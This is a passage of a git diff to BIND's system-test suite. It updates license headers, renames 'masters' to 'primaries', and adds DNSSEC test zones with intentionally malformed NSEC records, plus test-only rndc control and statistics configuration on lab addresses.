+	dnssec-validation no;
 	notify yes;
 	minimal-responses no;
 };
diff --git a/bin/tests/system/stub/ns3/example.db b/bin/tests/system/stub/ns3/example.db
index cbf1392ed4..4d0b3f0970 100644
--- a/bin/tests/system/stub/ns3/example.db
+++ b/bin/tests/system/stub/ns3/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/stub/ns3/named.conf.in b/bin/tests/system/stub/ns3/named.conf.in
index 4e29f2a343..e8e432f316 100644
--- a/bin/tests/system/stub/ns3/named.conf.in
+++ b/bin/tests/system/stub/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 	minimal-responses no;
 };
diff --git a/bin/tests/system/stub/ns4/example.db b/bin/tests/system/stub/ns4/example.db
index 06f352b252..1afe983380 100644
--- a/bin/tests/system/stub/ns4/example.db
+++ b/bin/tests/system/stub/ns4/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/stub/ns4/named.conf.in b/bin/tests/system/stub/ns4/named.conf.in
index 5c44380e2c..7e539727b1 100644
--- a/bin/tests/system/stub/ns4/named.conf.in
+++ b/bin/tests/system/stub/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/stub/ns5/named.conf.in b/bin/tests/system/stub/ns5/named.conf.in
index 5e5a1ac40a..39e38cc4d5 100644
--- a/bin/tests/system/stub/ns5/named.conf.in
+++ b/bin/tests/system/stub/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,5 +30,5 @@ zone "." {
 zone "example" {
 	type stub;
 	file "example.db";
-    masters { 10.53.0.4 port @PORT@; };
+	primaries { 10.53.0.4 port @PORT@; };
 };
diff --git a/bin/tests/system/stub/setup.sh b/bin/tests/system/stub/setup.sh
index ad34e50400..5d12d6ac95 100644
--- a/bin/tests/system/stub/setup.sh
+++ b/bin/tests/system/stub/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/stub/tests.sh b/bin/tests/system/stub/tests.sh
index 09a1993420..9a9ca66498 100644
--- a/bin/tests/system/stub/tests.sh
+++ b/bin/tests/system/stub/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp -p ${PORT}"
@@ -52,14 +56,14 @@ digcomp knowngood.dig.out.rec dig.out.ns3 || ret=1
 
 [ $pass = 1 ] && {
 	echo_i "stopping stub server"
-	$PERL ../stop.pl stub ns3
+	stop_server ns3
 
 	echo_i "re-starting stub server"
-	start_server --noclean --restart --port ${PORT} stub ns3
+	start_server --noclean --restart --port ${PORT} ns3
 }
 done
 
-echo_i "check that glue record is correctly transferred from master when minimal-responses is on"
+echo_i "check that glue record is correctly transferred from primary when minimal-responses is on"
 ret=0
 # First ensure that zone data was transfered.
 for i in 1 2 3 4 5 6 7; do
@@ -77,7 +81,7 @@ if [ -f ns5/example.db ]; then
     [ $ret = 0 ] || { status=1;  echo_i "failed"; }
 else
     status=1
-    echo_i "failed: stub zone transfer failed ns4(master) <---> ns5/example.db"
+    echo_i "failed: stub zone transfer failed ns4(primary) <---> ns5/example.db"
 fi
 
 echo_i "exit status: $status"
diff --git a/bin/tests/system/stub/tests_sh_stub.py b/bin/tests/system/stub/tests_sh_stub.py
new file mode 100644
index 0000000000..311e450687
--- /dev/null
+++ b/bin/tests/system/stub/tests_sh_stub.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_stub(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/synthfromdnssec/clean.sh b/bin/tests/system/synthfromdnssec/clean.sh
index 88ae09d24a..bd86173f85 100644
--- a/bin/tests/system/synthfromdnssec/clean.sh
+++ b/bin/tests/system/synthfromdnssec/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,16 +16,35 @@ set -e
 rm -f ./*/named.memstats
 rm -f ./*/named.conf
 rm -f ./*/named.run
+rm -f ./*/named.run.prev
+rm -f ./*/named.stats
 rm -f ./dig.out.*
 rm -f ./ns1/K*+*+*.key
 rm -f ./ns1/K*+*+*.private
 rm -f ./ns1/dsset-*
 rm -f ./ns1/example.db
 rm -f ./ns1/example.db.signed
+rm -f ./ns1/insecure.example.db
+rm -f ./ns1/insecure.example.db.signed
 rm -f ./ns1/dnamed.db
 rm -f ./ns1/dnamed.db.signed
+rm -f ./ns1/minimal.db
+rm -f ./ns1/minimal.db.signed
 rm -f ./ns1/root.db
 rm -f ./ns1/root.db.signed
+rm -f ./ns1/soa-without-dnskey.db
+rm -f ./ns1/soa-without-dnskey.db.signed
 rm -f ./ns1/trusted.conf
 rm -f ./ns2/named_dump.db
 rm -f ./ns*/managed-keys.bind*
+rm -f ./nodata.out ./insecure.nodata.out
+rm -f ./nxdomain.out ./insecure.nxdomain.out
+rm -f ./wild.out ./insecure.wild.out
+rm -f ./wildcname.out ./insecure.wildcname.out
+rm -f ./wildnodata1nsec.out ./insecure.wildnodata1nsec.out
+rm -f ./wildnodata2nsec.out ./insecure.wildnodata2nsec.out
+rm -f ./wildnodata2nsecafterdata.out ./insecure.wildnodata2nsecafterdata.out
+rm -f ./minimal.nxdomain.out
+rm -f ./black.out
+rm -f ./xml.out*
+rm -f ./json.out*
diff --git a/bin/tests/system/synthfromdnssec/ns1/dnamed.db.in b/bin/tests/system/synthfromdnssec/ns1/dnamed.db.in
index 659403a17b..61dfcf8d50 100644
--- a/bin/tests/system/synthfromdnssec/ns1/dnamed.db.in
+++ b/bin/tests/system/synthfromdnssec/ns1/dnamed.db.in
@@ -1,14 +1,17 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
 $TTL 3600
-@		SOA	ns1 hostmaster 1 3600 1200 604800 3600
+@		SOA	ns1 hostmaster 1 3600 1200 604800 5
 @		NS	ns1
 ns1		A	10.53.0.1
 a		A	10.53.0.1
+dname		DNAME	example.
diff --git a/bin/tests/system/synthfromdnssec/ns1/example.db.in b/bin/tests/system/synthfromdnssec/ns1/example.db.in
index 5300256590..79d5c27ee1 100644
--- a/bin/tests/system/synthfromdnssec/ns1/example.db.in
+++ b/bin/tests/system/synthfromdnssec/ns1/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -14,4 +16,10 @@ ns1		A	10.53.0.1
 nodata		TXT	nodata
 *.wild-a	A	1.2.3.4
 *.wild-cname 	CNAME	ns1
+*.wild-1-nsec	A	1.2.3.4
+*.wild-2-nsec 	A	1.2.3.4
+_x.wild-2-nsec	TXT	a name beween wild-2-nsec and a.wild-2-nsec
+*.wild-2-nsec-afterdata 	A	1.2.3.4
+*.wild-2-nsec-afterdata 	AAAA	2002::1
+_x.wild-2-nsec-afterdata	TXT	a name beween wild-2-nsec-afterdata and a.wild-2-nsec-afterdata
 dnamed		DNAME	dnamed.
diff --git a/bin/tests/system/synthfromdnssec/ns1/minimal.db.in b/bin/tests/system/synthfromdnssec/ns1/minimal.db.in
new file mode 100644
index 0000000000..2df3890807
--- /dev/null
+++ b/bin/tests/system/synthfromdnssec/ns1/minimal.db.in
@@ -0,0 +1,46 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 3600
+minimal.		3600	SOA	ns1.minimal. hostmaster.minimal. (
+					1          ; serial
+					3600       ; refresh (1 hour)
+					1200       ; retry (20 minutes)
+					604800     ; expire (1 week)
+					3600       ; minimum (1 hour)
+					)
+			3600	NS	ns1.minimal.
+			3600	NSEC	badtypemap.minimal. NS SOA RRSIG NSEC DNSKEY
+; bad NSEC type map without RRSIG or NSEC
+badtypemap.minimal.	3600	NSEC	black.minimal. A
+badtypemap.minimal.	3600	A	1.2.3.4
+badtypemap.minimal.	3600	AAAA	2002::1
+; cloudflare black lie
+black.minimal.		3600	NSEC	\000.black.minimal. RRSIG NSEC
+;
+dnamed.minimal.		3600	DNAME	dnamed.
+			3600	NSEC	insecure.minimal. DNAME RRSIG NSEC
+insecure.minimal.	3600	NS	ns1.insecure.minimal.
+			3600	NSEC	nodata.minimal. NS RRSIG NSEC
+nodata.minimal.		3600	TXT	"nodata"
+			3600	NSEC	ns1.minimal. TXT RRSIG NSEC
+; incomplete chain pointing at non-existent ns2.minimal
+ns1.minimal.		3600	A	10.53.0.1
+			3600	NSEC	ns2.minimal. A RRSIG NSEC
+; minimal response for nxdomain.minimal.
+nxdomaia.minimal.	3600	NSEC	nxdomaiz.minimal. RRSIG NSEC
+;
+*.wild-a.minimal.	3600	A	1.2.3.4
+			3600	NSEC	*.wild-cname.minimal. A RRSIG NSEC
+*.wild-cname.minimal.	3600	CNAME	ns1.minimal.
+			3600	NSEC	minimal. CNAME RRSIG NSEC
+; glue
+ns1.insecure.minimal.	3600	A	10.53.0.1
diff --git a/bin/tests/system/synthfromdnssec/ns1/named.conf.in b/bin/tests/system/synthfromdnssec/ns1/named.conf.in
index 3f75553d93..9a86e24acc 100644
--- a/bin/tests/system/synthfromdnssec/ns1/named.conf.in
+++ b/bin/tests/system/synthfromdnssec/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,6 +26,19 @@ options {
 	dnssec-validation yes;
 };
 
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+statistics-channels {
+	inet 10.53.0.1 port @EXTRAPORT1@ allow { any; };
+};
+
 zone "." {
 	type primary;
 	file "root.db.signed";
@@ -34,9 +49,24 @@ zone "example" {
 	file "example.db.signed";
 };
 
+zone "insecure.example" {
+	type primary;
+	file "insecure.example.db.signed";
+};
+
 zone "dnamed" {
 	type primary;
 	file "dnamed.db.signed";
 };
 
+zone "minimal" {
+	type primary;
+	file "minimal.db.signed";
+};
+
+zone "soa-without-dnskey" {
+	type primary;
+	file "soa-without-dnskey.db.signed";
+};
+
 include "trusted.conf";
diff --git a/bin/tests/system/synthfromdnssec/ns1/root.db.in b/bin/tests/system/synthfromdnssec/ns1/root.db.in
index f396106fdb..bade656f67 100644
--- a/bin/tests/system/synthfromdnssec/ns1/root.db.in
+++ b/bin/tests/system/synthfromdnssec/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -12,6 +14,11 @@ $TTL 3600
 @		NS	ns1
 ns1		A	10.53.0.1
 example		NS	ns1.example
+fun		NS	ns1.example
 ns1.example	A	10.53.0.1
 dnamed		NS	ns1.dnamed
 ns1.dnamed	A	10.53.0.1
+minimal		NS	ns1.minimal
+ns1.minimal	A	10.53.0.1
+soa-without-dnskey NS	ns1.soa-without-dnskey
+ns1.soa-without-dnskey A 10.53.0.1
diff --git a/bin/tests/system/synthfromdnssec/ns1/sign.sh b/bin/tests/system/synthfromdnssec/ns1/sign.sh
index 72e242119c..9f699a05fa 100644
--- a/bin/tests/system/synthfromdnssec/ns1/sign.sh
+++ b/bin/tests/system/synthfromdnssec/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -16,7 +18,18 @@ zone=example
 infile=example.db.in
 zonefile=example.db
 
-keyname=$($KEYGEN -q -a RSASHA256 -b 2048 -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+cat "$infile" "$keyname.key" > "$zonefile"
+echo insecure NS ns1.insecure >> "$zonefile"
+echo ns1.insecure A 10.53.0.1 >> "$zonefile"
+
+$SIGNER -P -o $zone $zonefile > /dev/null
+
+zone=insecure.example
+infile=example.db.in
+zonefile=insecure.example.db
+
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
 cat "$infile" "$keyname.key" > "$zonefile"
 
 $SIGNER -P -o $zone $zonefile > /dev/null
@@ -25,11 +38,31 @@ zone=dnamed
 infile=dnamed.db.in
 zonefile=dnamed.db
 
-keyname=$($KEYGEN -q -a RSASHA256 -b 2048 -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
 cat "$infile" "$keyname.key" > "$zonefile"
 
 $SIGNER -P -o $zone $zonefile > /dev/null
 
+zone=minimal
+infile=minimal.db.in
+zonefile=minimal.db
+
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+cat "$infile" "$keyname.key" > "$zonefile"
+
+# do not regenerate NSEC chain as there in a minimal NSEC record present
+$SIGNER -P -Z nonsecify -o $zone $zonefile > /dev/null
+
+zone=soa-without-dnskey
+infile=soa-without-dnskey.db.in
+zonefile=soa-without-dnskey.db
+
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+cat "$infile" "$keyname.key" > "$zonefile"
+
+# do not regenerate NSEC chain as there in a minimal NSEC record present
+$SIGNER -P -Z nonsecify -o $zone $zonefile > /dev/null
+
 zone=.
 infile=root.db.in
 zonefile=root.db
diff --git a/bin/tests/system/synthfromdnssec/ns1/soa-without-dnskey.db.in b/bin/tests/system/synthfromdnssec/ns1/soa-without-dnskey.db.in
new file mode 100644
index 0000000000..a8ad40cb08
--- /dev/null
+++ b/bin/tests/system/synthfromdnssec/ns1/soa-without-dnskey.db.in
@@ -0,0 +1,23 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 3600
+soa-without-dnskey.	3600	SOA	ns1.soa-without-dnskey. hostmaster.soa-without-dnskey. (
+					1          ; serial
+					3600       ; refresh (1 hour)
+					1200       ; retry (20 minutes)
+					604800     ; expire (1 week)
+					3600       ; minimum (1 hour)
+					)
+			3600	NS	ns1.soa-without-dnskey.
+			3600	NSEC	ns1.soa-without-dnskey. NS SOA RRSIG NSEC
+ns1.soa-without-dnskey.	3600	A	10.53.0.1
+			3600	NSEC	soa-without-dnskey. A RRSIG NSEC
diff --git a/bin/tests/system/synthfromdnssec/ns2/example.internal.db b/bin/tests/system/synthfromdnssec/ns2/example.internal.db
new file mode 100644
index 0000000000..938159b899
--- /dev/null
+++ b/bin/tests/system/synthfromdnssec/ns2/example.internal.db
@@ -0,0 +1,16 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 3600
+@		SOA	ns2 hostmaster 1 3600 1200 604800 3600
+@		NS	ns2
+@		A	1.2.3.4
+ns2		A	10.53.0.2
diff --git a/bin/tests/system/synthfromdnssec/ns2/named.conf.in b/bin/tests/system/synthfromdnssec/ns2/named.conf.in
index b130d305d3..f4b5059c44 100644
--- a/bin/tests/system/synthfromdnssec/ns2/named.conf.in
+++ b/bin/tests/system/synthfromdnssec/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,9 +26,32 @@ options {
 	dnssec-validation yes;
 };
 
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+statistics-channels {
+	inet 10.53.0.2 port @EXTRAPORT1@ allow { any; };
+};
+
 zone "." {
 	type hint;
 	file "root.hints";
 };
 
+zone "example.internal" {
+	type primary;
+	file "example.internal.db";
+};
+
+zone "example.internal2" {
+	type primary;
+	file "example.internal.db";
+};
+
 include "../ns1/trusted.conf";
diff --git a/bin/tests/system/synthfromdnssec/ns2/root.hints b/bin/tests/system/synthfromdnssec/ns2/root.hints
index 63fc22d0e1..6b80b9e7d3 100644
--- a/bin/tests/system/synthfromdnssec/ns2/root.hints
+++ b/bin/tests/system/synthfromdnssec/ns2/root.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/synthfromdnssec/ns3/named.conf.in b/bin/tests/system/synthfromdnssec/ns3/named.conf.in
index 5a8fbd6718..874143a543 100644
--- a/bin/tests/system/synthfromdnssec/ns3/named.conf.in
+++ b/bin/tests/system/synthfromdnssec/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,6 +26,19 @@ options {
 	dnssec-validation yes;
 };
 
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+statistics-channels {
+	inet 10.53.0.3 port @EXTRAPORT1@ allow { any; };
+};
+
 zone "." {
 	type hint;
 	file "root.hints";
diff --git a/bin/tests/system/synthfromdnssec/ns3/redirect.db b/bin/tests/system/synthfromdnssec/ns3/redirect.db
index 2e0ea151d3..c529ad240e 100644
--- a/bin/tests/system/synthfromdnssec/ns3/redirect.db
+++ b/bin/tests/system/synthfromdnssec/ns3/redirect.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/synthfromdnssec/ns3/root.hints b/bin/tests/system/synthfromdnssec/ns3/root.hints
index 63fc22d0e1..6b80b9e7d3 100644
--- a/bin/tests/system/synthfromdnssec/ns3/root.hints
+++ b/bin/tests/system/synthfromdnssec/ns3/root.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/synthfromdnssec/ns4/named.conf.in b/bin/tests/system/synthfromdnssec/ns4/named.conf.in
index 042c6cf0b6..c9d921092e 100644
--- a/bin/tests/system/synthfromdnssec/ns4/named.conf.in
+++ b/bin/tests/system/synthfromdnssec/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -25,10 +27,22 @@ options {
 	synth-from-dnssec no;
 };
 
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+statistics-channels {
+	inet 10.53.0.4 port @EXTRAPORT1@ allow { any; };
+};
+
 zone "." {
 	type hint;
 	file "root.hints";
 };
 
 include "../ns1/trusted.conf";
-// include "../../common/controls.conf";
diff --git a/bin/tests/system/synthfromdnssec/ns4/root.hints b/bin/tests/system/synthfromdnssec/ns4/root.hints
index 63fc22d0e1..6b80b9e7d3 100644
--- a/bin/tests/system/synthfromdnssec/ns4/root.hints
+++ b/bin/tests/system/synthfromdnssec/ns4/root.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/synthfromdnssec/ns5/internal2.db b/bin/tests/system/synthfromdnssec/ns5/internal2.db
new file mode 100644
index 0000000000..4f07f700d6
--- /dev/null
+++ b/bin/tests/system/synthfromdnssec/ns5/internal2.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 3600
+@		SOA	ns5 hostmaster 1 3600 1200 604800 3600
+@		NS	ns5
+ns5		A	10.53.0.5
+example		NS	ns2.example
+ns2.example	A	10.53.0.2
